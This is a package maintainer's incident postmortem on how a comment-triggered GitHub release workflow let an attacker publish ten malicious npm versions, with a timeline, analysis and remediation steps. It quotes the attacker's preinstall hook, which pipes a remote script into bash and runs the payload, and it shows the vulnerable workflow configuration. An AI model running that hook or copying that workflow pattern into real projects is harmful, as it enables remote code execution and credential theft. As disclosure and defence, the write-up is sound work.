Table of Contents
- Introduction
- Timeline
- 1. The vulnerability
- 2. What the attacker actually did
- 3. It looks like part of something larger
- 4. Why trusted publishing did not save me
- 5. The malicious versions had valid provenance
- 6. Detection was harder than it should have been
- 7. Deprecation is not removal
- 8. The response, in order
- 9. What I would tell another maintainer
- Conclusion
Introduction
On 2026-08-28, an attacker published ten malicious versions of my npm package
@7nohe/openapi-react-query-codegen. For about two and a half hours, the latest tag
pointed at a version that executed an obfuscated payload on install.
They did not steal a token. They did not phish me. They opened a pull request, left a comment, and my own release workflow published the malware for them.
In this post, I want to walk through exactly how that happened, what I did about it, and what surprised me along the way. Several of those things were not in any guide I had read, so I hope writing them down saves someone else a bad morning.
The public disclosure and the full version list live here.
Timeline
All times UTC. Most of these come from API responses I captured while the incident was
running: npm's time map, the pull request timeline, the advisory's published_at, git
commit dates. Several of those sources are now gone, since npm removed the versions and
GitHub suspended the account, so they cannot be re-derived from the live services. Three
entries below are marked approximate because I did not record them precisely at the time.
2026-08-28
05:28 Attacker account p00paboot created
19:59 PR #215 opened; the account comments "npm publish" on it 8 seconds later
20:00 First malicious version published (0.5.4)
20:02 3.0.3 published
20:05 PR #215 force-pushed to remove the malicious commit
20:17 PR #216 opened, same pattern
20:18 Issue #217 filed by an external reporter. First I knew of any of it
20:19 3.0.4 published. The latest tag now points at malware
20:20 Tenth and final malicious version published (0.5.5)
20:29 PR #216 force-pushed
20:30 Issue #218 filed by a second reporter
22:50 issue_comment trigger removed. The hole is closed
~22:51 latest restored to 3.0.2 (approximate)
~22:52 All ten versions deprecated (approximate)
23:06 Full disclosure posted to #217
23:27 GHSA-9pvf-vcx3-x239 published
2026-08-29
~04:10 npm removes all ten versions; tarballs now 404. Confirmed by 04:11, so the
removal itself was slightly earlier (approximate)
GitHub suspends the attacker account and its fork at some point after this
Two numbers I keep coming back to. The attacker went from opening a pull request to ten published versions in twenty-one minutes. It took me two and a half hours from the first report to close the hole.
1. The vulnerability
Nobody ever wrote this bug. It assembled itself over two years, out of four changes that were each reasonable on their own.
Until April 2024 I published releases from my laptop. Then I automated it with a workflow that ran on tag push only.
A few weeks later a contributor added a useful convenience: comment npm publish on a pull
request and get a prerelease you can install. It had no author check on the comment, but it
ran actions/checkout against my repository rather than the pull request. Anyone could
trigger it, and all they could make it do was publish a prerelease of my own default branch
and move the pre dist-tag. Unauthorised publishing, which is not nothing, but not code
execution.
Three days later, a follow-up fixed what was obviously broken about that: a prerelease of a pull request should contain the pull request's code. So it added a step to check out the PR head before installing.
That is the commit where this became remote code execution. It is also a completely sensible change in isolation. The feature did not work correctly without it.
Then in March 2026, I migrated the release workflow to npm trusted publishing, and folded
comment-release.yml into release.yml while I was there. I was thinking about replacing a
long-lived NPM_TOKEN with OIDC, which is the recommended direction. I was not thinking
about the comment trigger at all; I had genuinely forgotten it existed, and I carried it
across unchanged, now with id-token: write declared at the workflow level.
So the merged file looked like this.
permissions:
contents: write
id-token: write
issues: write
on:
push:
tags: ['v*']
issue_comment:
types: [created]
jobs:
release:
if: ${{ github.event_name == 'push' || (github.event.issue.pull_request
&& github.event.comment.body == 'npm publish') }}
Read the if condition again. It checks what the comment says. It never checks who
wrote it.
issue_comment is not a fork-restricted event. A pull request from a fork runs with a
read-only token and no secrets; issue_comment does not. It fires in the base repository's
context, with whatever permissions the workflow declares and with the repository's secrets
available to be referenced, no matter who left the comment. So any GitHub user in the world
could start my release job, and it ran with the capabilities I had granted it.
That alone would be bad. What made it fatal is the next part.
- name: ⬇️ Checkout PR
run: |
git fetch origin pull/${{ github.event.issue.number }}/head:pr-find-commit
git checkout pr-find-commit
- name: Install dependencies
run: pnpm install
The job checks out the pull request's code, then runs pnpm install on it. Package
managers run lifecycle scripts during install. So a preinstall script written by the
person who opened the pull request executes inside a job that holds id-token: write.
That is the whole bug. Untrusted code, executed in a trusted context.
2. What the attacker actually did
The account p00paboot was created about fourteen hours before the attack. It opened
PR #215 against my repository and, eight seconds later, commented npm publish on its own
pull request.
The diff was one line added to package.json.
"preinstall": "wget -qO- https://raw.githubusercontent.com/oven-sh/bun/refs/heads/main/src/runtime/cli/install.sh|bash ; bash -c 'WORKFLOW_ID=release.yml REPO_ID_SUFFIX=7nohe/openapi-react-query-codegen TARGET_PACKAGES=@7nohe/openapi-react-query-codegen ~/.bun/bin/bun is_it_this_simple.js'"
The filename is is_it_this_simple.js. I will admit that stung a little.
Look at the parameter names: WORKFLOW_ID, REPO_ID_SUFFIX, TARGET_PACKAGES. Those are
not written for my package. That is tooling built to be pointed at any repository with this
pattern. I cannot prove how I was selected, but nothing about it suggests I was picked
deliberately.
The script minted an OIDC token from the job environment and exchanged it against npm
trusted publishing. Then it backfilled malicious releases across every major line I had
ever published (0.5.x, 1.6.x, 2.2.x, 3.0.x) to catch users pinned to older ranges.
Ten versions in twenty-one minutes.
Afterwards it force-pushed both branches to erase the commits, and posted "Seems fine to me. Stop spreading misinformation." on the disclosure issue.
The force-pushed commits were still reachable through
refs/pull/215/headandrefs/pull/216/head. GitHub keeps pull request refs in the base repository, so a force push on the fork does not remove them. I fetched both into local refs early on, which turned out to matter: once GitHub suspended the account, the fork and both pull requests went to 404, and those local refs are the only copies I still have. If you are ever investigating something like this, fetch those refs before anything else.
Two research teams took the payload apart the same day. Aikido counted four layers of obfuscation, including a 1.6-million-element XOR-encrypted array and an AES-128-GCM stage. Socket's analysis describes the decrypted second stage harvesting credentials from files, process memory, environment variables and cloud metadata endpoints, validating the stolen tokens, then using them to publish poisoned versions of whatever else the victim maintains. Socket describes package poisoning on npm, JFrog and RubyGems plus optional PyPI typosquatting; Aikido describes the same republishing pattern reaching PyPI and RubyGems as well.
It also writes itself into repositories it can reach, and the files it chooses are the ones
nobody diffs carefully: .vscode/tasks.json and .claude/settings.json. Persistence via
LaunchAgents and systemd units. Propagation over SSH to other hosts.
So when I say "rotate your credentials if you installed this," I do not mean it as a ritual precaution. This thing was built to turn one compromised install into the next compromised package.
3. It looks like part of something larger
The generic parameter names turned out to be exactly what they looked like. Socket filed this under "Mini Shai-Hulud", an ongoing pattern of npm compromises that harvest credentials for GitHub, AWS, HashiCorp Vault and Kubernetes from whatever machine runs the install.
Socket is careful about attribution, and I will be too: they note that behavioural overlap does not establish shared operators, and that the resemblance is not proof this compromise belongs to either named campaign. What is established is that the techniques are shared.
TanStack was hit by a compromise in the same family: 84 compromised package artifacts,
including @tanstack/react-router at over 12 million weekly downloads.
The instructive part is what they attribute it to. Their postmortem points at a
pull_request_target "Pwn Request", combined with GitHub Actions cache poisoning across the
fork-to-base trust boundary and extraction of the OIDC token from the runner's process
memory. Mine was an issue_comment trigger with a missing author check.
Completely different bugs. Identical destination: code from outside the repository, running in a job that could reach a publish credential.
So if you are auditing your own workflows after reading this, do not look for my specific mistake. Look for the shape. Can anything originating outside your repository cause code to execute in a job that holds publish capability? The trigger is an implementation detail. The trust boundary is the thing.
Socket makes the same point about attestations that I stumbled into myself: a verified provenance badge is not a safety signal when the attacker can execute inside your CI.
4. Why trusted publishing did not save me
This part is counterintuitive, so let me be precise about it.
I had done what the guides recommend. I had no long-lived npm token in the workflow. I used trusted publishing with OIDC, which is supposed to be the safer option, and it generally is.
But id-token: write is a capability, not a secret. Any code running in that job can
request an OIDC token from the runner and exchange it for a publish credential. Removing
the stored token removed one attack path; it did not remove the ability to publish. I had
mentally filed "no token in the repo" as "cannot publish from the repo," and those are not
the same statement.
The consequence I did not anticipate at all is in the next section.
5. The malicious versions had valid provenance
Because the publishes really did run through my genuine release workflow, npm attached valid SLSA provenance attestations to every malicious version.
If you had inspected 3.0.4 and checked its provenance, it would have told you the truth:
built by 7nohe/openapi-react-query-codegen, from workflow release.yml, on GitHub
Actions. All correct. All useless.
Socket's write-up caught something I had missed. The SLSA predicates on the malicious
versions reference commit d42d1733, my clean v3.0.2 release commit. The attestation does
not merely fail to flag the malicious code; it actively points at a commit that contains
none of it.
Provenance answers "did this come from the repository it claims to come from." It does not answer "was the build trustworthy." When the build pipeline itself is the compromised part, provenance faithfully attests to a compromised build. This is not a flaw in provenance, but it is a limit to know about before you rely on it as a signal.
6. Detection was harder than it should have been
I initially told everyone that all ten versions carried a preinstall hook. A second
reporter corrected me in #218, and the correction mattered.
Four of the ten (0.5.4, 1.6.3, 2.2.1, 3.0.3) had no install script at all. They
shipped a binding.gyp instead, which npm evaluates through node-gyp automatically.
The file embeds a Python expression that walks the class hierarchy to reach os.system,
with every identifier written as \U… escapes to defeat string matching.
So scanning package.json for install hooks misses four of them.
But the reverse also holds. My package declares files: ["dist"], so for the two
0.0.0-* prereleases the attacker's own payload files were excluded from the tarball.
Those two have a malicious preinstall but neither binding.gyp nor the payload it tries
to run. Not quite duds, though: one of them pipes Bun's remote install script into bash
before it gets to the missing file, so it still fetches and executes something. They just
never deliver the intended payload.
So scanning for the payload files misses two of them.
The only reliable check is the union of both: version number or file presence. And a single file hash does not work either, since the payload was rebuilt per version, ranging from 4.4 MB to 6.4 MB with a different hash each time.
7. Deprecation is not removal
I deprecated all ten versions with a security notice, and filed a removal request with npm through their support form.
The gap between those two actions mattered more than I expected. Deprecation prints a
warning at install time. It does not prevent installation, and anyone whose lockfile already
pinned an affected version saw no warning at all. Until npm removed the versions from the
registry, npm install pkg@3.0.4 still succeeded and still ran the payload.
So deprecation is a holding action, not a fix. If you are ever in this position, file with npm support first and treat everything else as buying time.
8. The response, in order
The sequencing here matters more than the individual steps.
Close the hole first. Restoring the latest tag while issue_comment was still a
trigger would have been pointless, because it could be re-published in seconds. So the first
commit removed the trigger entirely.
on:
push:
tags: ['v*']
Releases now run on tag push only, which requires write access to the repository. I also
dropped issues: write, set persist-credentials: false on checkout, and pinned installs
to the lockfile.
Then, in order: revoke the trusted publisher, revoke all long-lived tokens, restore
latest to the last good version 3.0.2, remove the poisoned pre tag, deprecate all ten
versions, file the removal request, disclose publicly, publish a GHSA, and report the
account.
I also audited every other repository I maintain, 156 repositories and 134 workflow files, for the same pattern. None had it. I recommend doing this even when you are fairly sure, because the attacker's tooling was clearly generic and I would not have wanted to find out the slow way.
9. What I would tell another maintainer
The single rule I would extract from all of this:
A job that checks out untrusted code must never hold publish capability. Not a token,
not id-token: write, not contents: write. If the job installs or builds code that
someone outside your repository can influence, it must be able to do nothing but fail.
Things to check today:
- Do you have
issue_comment,pull_request_target, orworkflow_runtriggering anything that installs dependencies? Those events run with base-repository permissions. - Does any such workflow declare
id-token: writeat the top level? Scope it to the single job that needs it, never workflow-wide. - If you want a comment-triggered prerelease, gate it on the commenter's
author_association, and install with--ignore-scripts. On my personal-account repositoryOWNERis the right test; if your repository is owned by an organisation you will needMEMBERorCOLLABORATORtoo, or your actual maintainers will fail the gate. - Enable fork protection on your preview deployments. Mine was on, and that is the only reason the Vercel path was a dead end rather than a second breach.
That last one was luck rather than judgment, and I only found out afterwards while checking.
And if you think you may have installed an affected version, the published indicators are
concrete. Look for the payload filename 3FWCvzduYZg.js, a binding.gyp in a package that
has no native code, and temporary directories matching trinnyyyy-. Then check your own
repositories for commits you did not make to .vscode/tasks.json and
.claude/settings.json, and your npm, PyPI and RubyGems accounts for versions you did not
publish.
Conclusion
The uncomfortable part of this incident is that nothing exotic happened. No zero-day, no sophisticated intrusion. Four reasonable changes over two years, none of them wrong enough to notice, and the person who found the result appears to have been running a script against whoever happened to have that shape.
None of this is a complaint about the contributor who wrote the comment trigger. Each of those pull requests did what it said. I reviewed them, I merged them, and two years later I upgraded the credential sitting behind them without re-reading what could reach it. The failure is mine, and it is a review failure rather than a coding one.
If you maintain a package with a publishing workflow, open it right now and read the if
condition out loud. Ask whether it checks who, or only what. Mine only checked what, and I
had looked at that file many times without noticing.
To everyone who installed an affected version: I am sorry. All ten are removed from the
registry now. To be precise about what is safe, because "3.0.2 and earlier" would be wrong:
no version published before 2026-08-28 is affected, and the last known-good release on each
line is 0.5.3, 1.6.2, 2.2.0 and 3.0.2.
My thanks to @CharlieEriksen for the initial report and to @danieldanzigerupwind for the detailed payload analysis that corrected mine. The disclosure was fast and precise, and it made the response far better than it would have been otherwise.